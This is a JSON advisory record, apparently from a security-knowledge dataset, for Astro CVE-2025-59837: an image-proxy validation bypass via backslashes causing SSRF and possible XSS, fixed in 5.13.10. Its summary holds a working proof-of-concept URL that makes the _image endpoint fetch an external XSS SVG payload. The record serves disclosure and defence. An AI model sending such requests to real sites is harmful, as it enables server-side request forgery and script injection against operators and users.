{
  "canonical_id": "astro--CVE-2025-59837",
  "system_id": "astro",
  "display_name": "Astro",
  "category": "frameworks",
  "advisory_mode": "core",
  "title": "Astro's bypass of image proxy domain validation leads to SSRF and potential XSS",
  "summary": "### Summary\n\nThis is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\\`) - the endpoint still issues a server-side fetch.\n\n### PoC\n[https://astro.build/_image?href=\\\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)",
  "published_at": "2025-10-28T17:45:04Z",
  "updated_at": "2025-10-29T14:48:45Z",
  "severity": "low",
  "cvss_score": 3.1,
  "exploit_status": "unknown",
  "source_confidence": "official",
  "official_source_url": "https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2",
  "secondary_source_urls": [
    "https://nvd.nist.gov/vuln/detail/CVE-2025-59837",
    "https://github.com/withastro/astro/commit/1e2499e8ea83ebfa233a18a7499e1ccf169e56f4",
    "https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252",
    "https://github.com/withastro/astro"
  ],
  "aliases": [
    "CVE-2025-59837",
    "GHSA-qcpr-679q-rhm2"
  ],
  "cve_ids": [
    "CVE-2025-59837"
  ],
  "ghsa_ids": [
    "GHSA-qcpr-679q-rhm2"
  ],
  "osv_ids": [
    "GHSA-qcpr-679q-rhm2"
  ],
  "affected_versions": [
    "introduced=5.13.4, fixed<5.13.10"
  ],
  "fixed_versions": [
    "5.13.10"
  ],
  "package_name": "astro",
  "render_markdown": true,
  "case_path": "07-framework-security/frameworks/astro/cases/astro-cve-2025-59837.md",
  "secure_code_topics": [
    "authz-server-side-recheck",
    "csp-trusted-types",
    "xss-output-encoding",
    "ssrf-url-validation",
    "proxy-trust-boundary"
  ],
  "status": "generated",
  "triage_reasons": [],
  "verification_status": "triage-manual",
  "verification_mode": "synthetic",
  "last_verified_at": null,
  "last_run_id": null,
  "evidence_bundle": null,
  "historical_status": null,
  "latest_status": null,
  "browser_evidence": {
    "required": false,
    "present": false,
    "refs": []
  },
  "repro_profile_id": "xss-generic",
  "artifact_mode": "synthetic",
  "blocked_reason": null,
  "metadata": {
    "source_names": [
      "OSV Astro"
    ],
    "source_kinds": [
      "osv-batch"
    ],
    "candidate_count": 1
  }
}